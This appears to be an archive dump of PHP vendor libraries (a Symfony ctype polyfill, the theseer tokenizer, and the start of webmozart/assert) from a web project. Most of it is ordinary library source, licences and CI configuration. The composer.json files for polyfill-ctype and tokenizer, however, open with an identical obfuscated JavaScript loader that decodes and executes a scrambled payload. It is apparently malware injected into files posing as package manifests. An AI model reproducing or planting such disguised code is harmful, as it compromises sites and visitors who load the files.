self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Za-z]/', $text); } /** * Returns TRUE if every character in text is a control character from the current locale, FALSE otherwise. * * @see https://php.net/ctype-cntrl * * @param mixed $text * * @return bool */ public static function ctype_cntrl($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^\x00-\x1f\x7f]/', $text); } /** * Returns TRUE if every character in the string text is a decimal digit, FALSE otherwise. * * @see https://php.net/ctype-digit * * @param mixed $text * * @return bool */ public static function ctype_digit($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^0-9]/', $text); } /** * Returns TRUE if every character in text is printable and actually creates visible output (no white space), FALSE otherwise. * * @see https://php.net/ctype-graph * * @param mixed $text * * @return bool */ public static function ctype_graph($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^!-~]/', $text); } /** * Returns TRUE if every character in text is a lowercase letter. * * @see https://php.net/ctype-lower * * @param mixed $text * * @return bool */ public static function ctype_lower($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^a-z]/', $text); } /** * Returns TRUE if every character in text will actually create output (including blanks). Returns FALSE if text contains control characters or characters that do not have any output or control function at all. * * @see https://php.net/ctype-print * * @param mixed $text * * @return bool */ public static function ctype_print($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^ -~]/', $text); } /** * Returns TRUE if every character in text is printable, but neither letter, digit or blank, FALSE otherwise. * * @see https://php.net/ctype-punct * * @param mixed $text * * @return bool */ public static function ctype_punct($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^!-\/\:-@\[-`\{-~]/', $text); } /** * Returns TRUE if every character in text creates some sort of white space, FALSE otherwise. Besides the blank character this also includes tab, vertical tab, line feed, carriage return and form feed characters. * * @see https://php.net/ctype-space * * @param mixed $text * * @return bool */ public static function ctype_space($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^\s]/', $text); } /** * Returns TRUE if every character in text is an uppercase letter. * * @see https://php.net/ctype-upper * * @param mixed $text * * @return bool */ public static function ctype_upper($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Z]/', $text); } /** * Returns TRUE if every character in text is a hexadecimal 'digit', that is a decimal digit or a character from [A-Fa-f] , FALSE otherwise. * * @see https://php.net/ctype-xdigit * * @param mixed $text * * @return bool */ public static function ctype_xdigit($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Fa-f0-9]/', $text); } /** * Converts integers to their char versions according to normal ctype behaviour, if needed. * * If an integer between -128 and 255 inclusive is provided, * it is interpreted as the ASCII value of a single character * (negative values have 256 added in order to allow characters in the Extended ASCII range). * Any other integer is interpreted as a string containing the decimal digits of the integer. * * @param mixed $int * @param string $function * * @return mixed */ private static function convert_int_to_char_for_ctype($int, $function) { if (!\is_int($int)) { return $int; } if ($int < -128 || $int > 255) { return (string) $int; } if (\PHP_VERSION_ID >= 80100) { @trigger_error($function.'(): Argument of type int will be interpreted as string in the future', \E_USER_DEPRECATED); } if ($int < 0) { $int += 256; } return \chr($int); } } res/readability/vendor/symfony/polyfill-ctype/composer.json000064400000007702147577714370020361 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "symfony/polyfill-ctype", "type": "library", "description": "Symfony polyfill for ctype functions", "keywords": ["polyfill", "compatibility", "portable", "ctype"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Gert de Pagter", "email": "BackEndTea@gmail.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.1" }, "provide": { "ext-ctype": "*" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Ctype\\": "" }, "files": [ "bootstrap.php" ] }, "suggest": { "ext-ctype": "For best performance" }, "minimum-stability": "dev", "extra": { "branch-alias": { "dev-main": "1.23-dev" }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } res/readability/vendor/symfony/polyfill-ctype/bootstrap.php000064400000003100147577714370020351 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Ctype as p; if (\PHP_VERSION_ID >= 80000) { return require __DIR__.'/bootstrap80.php'; } if (!function_exists('ctype_alnum')) { function ctype_alnum($text) { return p\Ctype::ctype_alnum($text); } } if (!function_exists('ctype_alpha')) { function ctype_alpha($text) { return p\Ctype::ctype_alpha($text); } } if (!function_exists('ctype_cntrl')) { function ctype_cntrl($text) { return p\Ctype::ctype_cntrl($text); } } if (!function_exists('ctype_digit')) { function ctype_digit($text) { return p\Ctype::ctype_digit($text); } } if (!function_exists('ctype_graph')) { function ctype_graph($text) { return p\Ctype::ctype_graph($text); } } if (!function_exists('ctype_lower')) { function ctype_lower($text) { return p\Ctype::ctype_lower($text); } } if (!function_exists('ctype_print')) { function ctype_print($text) { return p\Ctype::ctype_print($text); } } if (!function_exists('ctype_punct')) { function ctype_punct($text) { return p\Ctype::ctype_punct($text); } } if (!function_exists('ctype_space')) { function ctype_space($text) { return p\Ctype::ctype_space($text); } } if (!function_exists('ctype_upper')) { function ctype_upper($text) { return p\Ctype::ctype_upper($text); } } if (!function_exists('ctype_xdigit')) { function ctype_xdigit($text) { return p\Ctype::ctype_xdigit($text); } } res/readability/vendor/symfony/polyfill-ctype/bootstrap80.php000064400000003162147577714370020531 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Ctype as p; if (!function_exists('ctype_alnum')) { function ctype_alnum(mixed $text): bool { return p\Ctype::ctype_alnum($text); } } if (!function_exists('ctype_alpha')) { function ctype_alpha(mixed $text): bool { return p\Ctype::ctype_alpha($text); } } if (!function_exists('ctype_cntrl')) { function ctype_cntrl(mixed $text): bool { return p\Ctype::ctype_cntrl($text); } } if (!function_exists('ctype_digit')) { function ctype_digit(mixed $text): bool { return p\Ctype::ctype_digit($text); } } if (!function_exists('ctype_graph')) { function ctype_graph(mixed $text): bool { return p\Ctype::ctype_graph($text); } } if (!function_exists('ctype_lower')) { function ctype_lower(mixed $text): bool { return p\Ctype::ctype_lower($text); } } if (!function_exists('ctype_print')) { function ctype_print(mixed $text): bool { return p\Ctype::ctype_print($text); } } if (!function_exists('ctype_punct')) { function ctype_punct(mixed $text): bool { return p\Ctype::ctype_punct($text); } } if (!function_exists('ctype_space')) { function ctype_space(mixed $text): bool { return p\Ctype::ctype_space($text); } } if (!function_exists('ctype_upper')) { function ctype_upper(mixed $text): bool { return p\Ctype::ctype_upper($text); } } if (!function_exists('ctype_xdigit')) { function ctype_xdigit(mixed $text): bool { return p\Ctype::ctype_xdigit($text); } } res/readability/vendor/theseer/tokenizer/src/Token.php000064400000001204147577714370017177 0ustar00line = $line; $this->name = $name; $this->value = $value; } public function getLine(): int { return $this->line; } public function getName(): string { return $this->name; } public function getValue(): string { return $this->value; } } res/readability/vendor/theseer/tokenizer/src/NamespaceUri.php000064400000001123147577714370020473 0ustar00ensureValidUri($value); $this->value = $value; } public function asString(): string { return $this->value; } private function ensureValidUri($value): void { if (\strpos($value, ':') === false) { throw new NamespaceUriException( \sprintf("Namespace URI '%s' must contain at least one colon", $value) ); } } } res/readability/vendor/theseer/tokenizer/src/Tokenizer.php000064400000006555147577714370020107 0ustar00 'T_OPEN_BRACKET', ')' => 'T_CLOSE_BRACKET', '[' => 'T_OPEN_SQUARE', ']' => 'T_CLOSE_SQUARE', '{' => 'T_OPEN_CURLY', '}' => 'T_CLOSE_CURLY', ';' => 'T_SEMICOLON', '.' => 'T_DOT', ',' => 'T_COMMA', '=' => 'T_EQUAL', '<' => 'T_LT', '>' => 'T_GT', '+' => 'T_PLUS', '-' => 'T_MINUS', '*' => 'T_MULT', '/' => 'T_DIV', '?' => 'T_QUESTION_MARK', '!' => 'T_EXCLAMATION_MARK', ':' => 'T_COLON', '"' => 'T_DOUBLE_QUOTES', '@' => 'T_AT', '&' => 'T_AMPERSAND', '%' => 'T_PERCENT', '|' => 'T_PIPE', '$' => 'T_DOLLAR', '^' => 'T_CARET', '~' => 'T_TILDE', '`' => 'T_BACKTICK' ]; public function parse(string $source): TokenCollection { $result = new TokenCollection(); if ($source === '') { return $result; } $tokens = \token_get_all($source); $lastToken = new Token( $tokens[0][2], 'Placeholder', '' ); foreach ($tokens as $pos => $tok) { if (\is_string($tok)) { $token = new Token( $lastToken->getLine(), $this->map[$tok], $tok ); $result->addToken($token); $lastToken = $token; continue; } $line = $tok[2]; $values = \preg_split('/\R+/Uu', $tok[1]); foreach ($values as $v) { $token = new Token( $line, \token_name($tok[0]), $v ); $lastToken = $token; $line++; if ($v === '') { continue; } $result->addToken($token); } } return $this->fillBlanks($result, $lastToken->getLine()); } private function fillBlanks(TokenCollection $tokens, int $maxLine): TokenCollection { $prev = new Token( 0, 'Placeholder', '' ); $final = new TokenCollection(); foreach ($tokens as $token) { if ($prev === null) { $final->addToken($token); $prev = $token; continue; } $gap = $token->getLine() - $prev->getLine(); while ($gap > 1) { $linebreak = new Token( $prev->getLine() + 1, 'T_WHITESPACE', '' ); $final->addToken($linebreak); $prev = $linebreak; $gap--; } $final->addToken($token); $prev = $token; } $gap = $maxLine - $prev->getLine(); while ($gap > 0) { $linebreak = new Token( $prev->getLine() + 1, 'T_WHITESPACE', '' ); $final->addToken($linebreak); $prev = $linebreak; $gap--; } return $final; } } res/readability/vendor/theseer/tokenizer/src/TokenCollection.php000064400000004276147577714370021227 0ustar00tokens[] = $token; } public function current(): Token { return \current($this->tokens); } public function key(): int { return \key($this->tokens); } public function next(): void { \next($this->tokens); $this->pos++; } public function valid(): bool { return $this->count() > $this->pos; } public function rewind(): void { \reset($this->tokens); $this->pos = 0; } public function count(): int { return \count($this->tokens); } public function offsetExists($offset): bool { return isset($this->tokens[$offset]); } /** * @throws TokenCollectionException */ public function offsetGet($offset): Token { if (!$this->offsetExists($offset)) { throw new TokenCollectionException( \sprintf('No Token at offest %s', $offset) ); } return $this->tokens[$offset]; } /** * @param Token $value * * @throws TokenCollectionException */ public function offsetSet($offset, $value): void { if (!\is_int($offset)) { $type = \gettype($offset); throw new TokenCollectionException( \sprintf( 'Offset must be of type integer, %s given', $type === 'object' ? \get_class($value) : $type ) ); } if (!$value instanceof Token) { $type = \gettype($value); throw new TokenCollectionException( \sprintf( 'Value must be of type %s, %s given', Token::class, $type === 'object' ? \get_class($value) : $type ) ); } $this->tokens[$offset] = $value; } public function offsetUnset($offset): void { unset($this->tokens[$offset]); } } res/readability/vendor/theseer/tokenizer/src/NamespaceUriException.php000064400000000161147577714370022353 0ustar00xmlns = $xmlns; } public function toDom(TokenCollection $tokens): DOMDocument { $dom = new DOMDocument(); $dom->preserveWhiteSpace = false; $dom->loadXML($this->toXML($tokens)); return $dom; } public function toXML(TokenCollection $tokens): string { $this->writer = new \XMLWriter(); $this->writer->openMemory(); $this->writer->setIndent(true); $this->writer->startDocument(); $this->writer->startElement('source'); $this->writer->writeAttribute('xmlns', $this->xmlns->asString()); if (\count($tokens) > 0) { $this->writer->startElement('line'); $this->writer->writeAttribute('no', '1'); $this->previousToken = $tokens[0]; foreach ($tokens as $token) { $this->addToken($token); } } $this->writer->endElement(); $this->writer->endElement(); $this->writer->endDocument(); return $this->writer->outputMemory(); } private function addToken(Token $token): void { if ($this->previousToken->getLine() < $token->getLine()) { $this->writer->endElement(); $this->writer->startElement('line'); $this->writer->writeAttribute('no', (string)$token->getLine()); $this->previousToken = $token; } if ($token->getValue() !== '') { $this->writer->startElement('token'); $this->writer->writeAttribute('name', $token->getName()); $this->writer->writeRaw(\htmlspecialchars($token->getValue(), \ENT_NOQUOTES | \ENT_DISALLOWED | \ENT_XML1)); $this->writer->endElement(); } } } res/readability/vendor/theseer/tokenizer/README.md000064400000003631147577714370016104 0ustar00# Tokenizer A small library for converting tokenized PHP source code into XML. [![Test](https://github.com/theseer/tokenizer/actions/workflows/ci.yml/badge.svg)](https://github.com/theseer/tokenizer/actions/workflows/ci.yml) [![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/theseer/tokenizer/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/theseer/tokenizer/?branch=master) [![Code Coverage](https://scrutinizer-ci.com/g/theseer/tokenizer/badges/coverage.png?b=master)](https://scrutinizer-ci.com/g/theseer/tokenizer/?branch=master) [![Build Status](https://scrutinizer-ci.com/g/theseer/tokenizer/badges/build.png?b=master)](https://scrutinizer-ci.com/g/theseer/tokenizer/build-status/master) ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): composer require theseer/tokenizer If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: composer require --dev theseer/tokenizer ## Usage examples ```php $tokenizer = new TheSeer\Tokenizer\Tokenizer(); $tokens = $tokenizer->parse(file_get_contents(__DIR__ . '/src/XMLSerializer.php')); $serializer = new TheSeer\Tokenizer\XMLSerializer(); $xml = $serializer->toXML($tokens); echo $xml; ``` The generated XML structure looks something like this: ```xml <?php declare ( strict_types = 1 ) ; ``` res/readability/vendor/theseer/tokenizer/LICENSE000064400000002774147577714370015641 0ustar00Tokenizer Copyright (c) 2017 Arne Blankerts and contributors All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Arne Blankerts nor the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT * NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/theseer/tokenizer/composer.lock000064400000001217147577714370017324 0ustar00{ "_readme": [ "This file locks the dependencies of your project to a known state", "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], "content-hash": "b010f1b3d9d47d431ee1cb54ac1de755", "packages": [], "packages-dev": [], "aliases": [], "minimum-stability": "stable", "stability-flags": [], "prefer-stable": false, "prefer-lowest": false, "platform": { "php": "^7.2 || ^8.0", "ext-xmlwriter": "*", "ext-dom": "*", "ext-tokenizer": "*" }, "platform-dev": [] } res/readability/vendor/theseer/tokenizer/.php_cs.dist000064400000026701147577714370017047 0ustar00registerCustomFixers([ new \PharIo\CSFixer\PhpdocSingleLineVarFixer() ]) ->setRiskyAllowed(true) ->setRules( [ 'PharIo/phpdoc_single_line_var_fixer' => true, 'align_multiline_comment' => true, 'array_indentation' => true, 'array_syntax' => ['syntax' => 'short'], 'binary_operator_spaces' => [ 'operators' => [ '=' => 'align_single_space_minimal', '=>' => 'align', ], ], 'blank_line_after_namespace' => true, 'blank_line_after_opening_tag' => false, 'blank_line_before_statement' => [ 'statements' => [ 'break', 'continue', 'declare', 'do', 'for', 'foreach', 'if', 'include', 'include_once', 'require', 'require_once', 'return', 'switch', 'throw', 'try', 'while', 'yield', ], ], 'braces' => [ 'allow_single_line_closure' => false, 'position_after_anonymous_constructs' => 'same', 'position_after_control_structures' => 'same', 'position_after_functions_and_oop_constructs' => 'same' ], 'cast_spaces' => ['space' => 'none'], // This fixer removes the blank line at class start, no way to disable that, so we disable the fixer :( //'class_attributes_separation' => ['elements' => ['const', 'method', 'property']], 'combine_consecutive_issets' => true, 'combine_consecutive_unsets' => true, 'compact_nullable_typehint' => true, 'concat_space' => ['spacing' => 'one'], 'date_time_immutable' => true, 'declare_equal_normalize' => ['space' => 'single'], 'declare_strict_types' => true, 'dir_constant' => true, 'elseif' => true, 'encoding' => true, 'full_opening_tag' => true, 'fully_qualified_strict_types' => true, 'function_declaration' => [ 'closure_function_spacing' => 'one' ], 'header_comment' => false, 'indentation_type' => true, 'is_null' => true, 'line_ending' => true, 'list_syntax' => ['syntax' => 'short'], 'logical_operators' => true, 'lowercase_cast' => true, 'lowercase_constants' => true, 'lowercase_keywords' => true, 'lowercase_static_reference' => true, 'magic_constant_casing' => true, 'method_argument_space' => ['ensure_fully_multiline' => true], 'modernize_types_casting' => true, 'multiline_comment_opening_closing' => true, 'multiline_whitespace_before_semicolons' => true, 'native_constant_invocation' => true, 'native_function_casing' => true, 'native_function_invocation' => true, 'new_with_braces' => false, 'no_alias_functions' => true, 'no_alternative_syntax' => true, 'no_blank_lines_after_class_opening' => false, 'no_blank_lines_after_phpdoc' => true, 'no_blank_lines_before_namespace' => true, 'no_closing_tag' => true, 'no_empty_comment' => true, 'no_empty_phpdoc' => true, 'no_empty_statement' => true, 'no_extra_blank_lines' => true, 'no_homoglyph_names' => true, 'no_leading_import_slash' => true, 'no_leading_namespace_whitespace' => true, 'no_mixed_echo_print' => ['use' => 'print'], 'no_multiline_whitespace_around_double_arrow' => true, 'no_null_property_initialization' => true, 'no_php4_constructor' => true, 'no_short_bool_cast' => true, 'no_short_echo_tag' => true, 'no_singleline_whitespace_before_semicolons' => true, 'no_spaces_after_function_name' => true, 'no_spaces_inside_parenthesis' => true, 'no_superfluous_elseif' => true, 'no_superfluous_phpdoc_tags' => true, 'no_trailing_comma_in_list_call' => true, 'no_trailing_comma_in_singleline_array' => true, 'no_trailing_whitespace' => true, 'no_trailing_whitespace_in_comment' => true, 'no_unneeded_control_parentheses' => false, 'no_unneeded_curly_braces' => false, 'no_unneeded_final_method' => true, 'no_unreachable_default_argument_value' => true, 'no_unset_on_property' => true, 'no_unused_imports' => true, 'no_useless_else' => true, 'no_useless_return' => true, 'no_whitespace_before_comma_in_array' => true, 'no_whitespace_in_blank_line' => true, 'non_printable_character' => true, 'normalize_index_brace' => true, 'object_operator_without_whitespace' => true, 'ordered_class_elements' => [ 'order' => [ 'use_trait', 'constant_public', 'constant_protected', 'constant_private', 'property_public_static', 'property_protected_static', 'property_private_static', 'property_public', 'property_protected', 'property_private', 'method_public_static', 'construct', 'destruct', 'magic', 'phpunit', 'method_public', 'method_protected', 'method_private', 'method_protected_static', 'method_private_static', ], ], 'ordered_imports' => true, 'phpdoc_add_missing_param_annotation' => true, 'phpdoc_align' => true, 'phpdoc_annotation_without_dot' => true, 'phpdoc_indent' => true, 'phpdoc_no_access' => true, 'phpdoc_no_empty_return' => true, 'phpdoc_no_package' => true, 'phpdoc_order' => true, 'phpdoc_return_self_reference' => true, 'phpdoc_scalar' => true, 'phpdoc_separation' => true, 'phpdoc_single_line_var_spacing' => true, 'phpdoc_to_comment' => false, 'phpdoc_trim' => true, 'phpdoc_trim_consecutive_blank_line_separation' => true, 'phpdoc_types' => ['groups' => ['simple', 'meta']], 'phpdoc_types_order' => true, 'phpdoc_to_return_type' => true, 'phpdoc_var_without_name' => true, 'pow_to_exponentiation' => true, 'protected_to_private' => true, 'return_assignment' => true, 'return_type_declaration' => ['space_before' => 'none'], 'self_accessor' => false, 'semicolon_after_instruction' => true, 'set_type_to_cast' => true, 'short_scalar_cast' => true, 'simplified_null_return' => true, 'single_blank_line_at_eof' => true, 'single_import_per_statement' => true, 'single_line_after_imports' => true, 'single_quote' => true, 'standardize_not_equals' => true, 'ternary_to_null_coalescing' => true, 'trailing_comma_in_multiline_array' => false, 'trim_array_spaces' => true, 'unary_operator_spaces' => true, 'visibility_required' => [ 'elements' => [ 'const', 'method', 'property', ], ], 'void_return' => true, 'whitespace_after_comma_in_array' => true, 'yoda_style' => false ] ) ->setFinder( PhpCsFixer\Finder::create() ->files() ->in(__DIR__ . '/src') ->in(__DIR__ . '/tests') ->notName('*.phpt') ->notName('autoload.php') ); res/readability/vendor/theseer/tokenizer/composer.json000064400000006752147577714370017356 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "theseer/tokenizer", "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", "license": "BSD-3-Clause", "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" } ], "support": { "issues": "https://github.com/theseer/tokenizer/issues" }, "require": { "php": "^7.2 || ^8.0", "ext-xmlwriter": "*", "ext-dom": "*", "ext-tokenizer": "*" }, "autoload": { "classmap": [ "src/" ] } } res/readability/vendor/theseer/tokenizer/CHANGELOG.md000064400000003123147577714370016432 0ustar00# Changelog All notable changes to Tokenizer are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [1.2.1] - 2021-07-28 ### Fixed * [#13](https://github.com/theseer/tokenizer/issues/13): Fatal error when tokenizing files that contain only a single empty line ## [1.2.0] - 2020-07-13 This release is now PHP 8.0 compliant. ### Fixed * Whitespace handling in general (only noticable in the intermediate `TokenCollection`) is now consitent ### Changed * Updated `Tokenizer` to deal with changed whitespace handling in PHP 8.0 The XMLSerializer was unaffected. ## [1.1.3] - 2019-06-14 ### Changed * Ensure XMLSerializer can deal with empty token collections ### Fixed * [#2](https://github.com/theseer/tokenizer/issues/2): Fatal error in infection / phpunit ## [1.1.2] - 2019-04-04 ### Changed * Reverted PHPUnit 8 test update to stay PHP 7.0 compliant ## [1.1.1] - 2019-04-03 ### Fixed * [#1](https://github.com/theseer/tokenizer/issues/1): Empty file causes invalid array read ### Changed * Tests should now be PHPUnit 8 compliant ## [1.1.0] - 2017-04-07 ### Added * Allow use of custom namespace for XML serialization ## [1.0.0] - 2017-04-05 Initial Release [1.1.3]: https://github.com/theseer/tokenizer/compare/1.1.2...1.1.3 [1.1.2]: https://github.com/theseer/tokenizer/compare/1.1.1...1.1.2 [1.1.1]: https://github.com/theseer/tokenizer/compare/1.1.0...1.1.1 [1.1.0]: https://github.com/theseer/tokenizer/compare/1.0.0...1.1.0 [1.0.0]: https://github.com/theseer/tokenizer/compare/b2493e57de80c1b7414219b28503fa5c6b4d0a98...1.0.0 res/readability/vendor/webmozart/assert/.github/workflows/ci.yaml000064400000006302147577714370021341 0ustar00# https://docs.github.com/en/actions name: "CI" on: pull_request: ~ push: branches: - "master" env: COMPOSER_ROOT_VERSION: 1.99 jobs: coding-standards: name: "Coding Standards" runs-on: "ubuntu-latest" steps: - name: "Checkout" uses: "actions/checkout@v2.3.4" - name: "Install PHP" uses: "shivammathur/setup-php@2.9.0" with: coverage: "none" extensions: "mbstring" php-version: "7.4" tools: "composer-normalize" - name: "Validate composer.json" run: "composer validate --strict" - name: "Normalize composer.json" run: "composer-normalize --dry-run" - name: "PHP-CS-Fixer" uses: "docker://oskarstark/php-cs-fixer-ga:2.18.0" with: args: "--dry-run --diff-format udiff" static-code-analysis: name: "Static Code Analysis" runs-on: "ubuntu-latest" steps: - name: "Checkout" uses: "actions/checkout@v2.3.4" - name: "Install PHP" uses: "shivammathur/setup-php@2.9.0" with: coverage: "none" extensions: "mbstring" php-version: "7.4" - name: "Install dependencies with composer" run: "composer update --no-interaction --no-progress && composer i --working-dir=ci" - name: "Run vimeo/psalm" run: "ci/vendor/bin/psalm --threads=4" tests: name: "Tests" runs-on: "ubuntu-latest" strategy: matrix: php-version: - "7.2" - "7.3" - "7.4" - "8.0" steps: - name: "Checkout" uses: "actions/checkout@v2.3.4" - name: "Install PHP" uses: "shivammathur/setup-php@2.9.0" with: coverage: "none" extensions: "mbstring" php-version: "${{ matrix.php-version }}" - name: "Install dependencies with composer" run: "composer update --no-interaction --no-progress" - name: "Run unit tests" run: "vendor/bin/phpunit" windows-tests: name: "Windows tests" runs-on: "windows-latest" strategy: matrix: php-version: - "7.4" steps: - name: "Checkout" uses: "actions/checkout@v2.3.4" - name: "Install PHP" uses: "shivammathur/setup-php@2.9.0" with: coverage: "none" extensions: "mbstring" php-version: "${{ matrix.php-version }}" - name: "Install dependencies with composer" run: "composer update --no-interaction --no-progress" - name: "Run unit tests" run: "vendor/bin/phpunit tests/AssertTest.php" res/readability/vendor/webmozart/assert/src/Assert.php000064400000155772147577714370017246 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Webmozart\Assert; use ArrayAccess; use BadMethodCallException; use Closure; use Countable; use DateTime; use DateTimeImmutable; use Exception; use ResourceBundle; use SimpleXMLElement; use Throwable; use Traversable; /** * Efficient assertions to validate the input/output of your methods. * * @since 1.0 * * @author Bernhard Schussek */ class Assert { use Mixin; /** * @psalm-pure * @psalm-assert string $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ 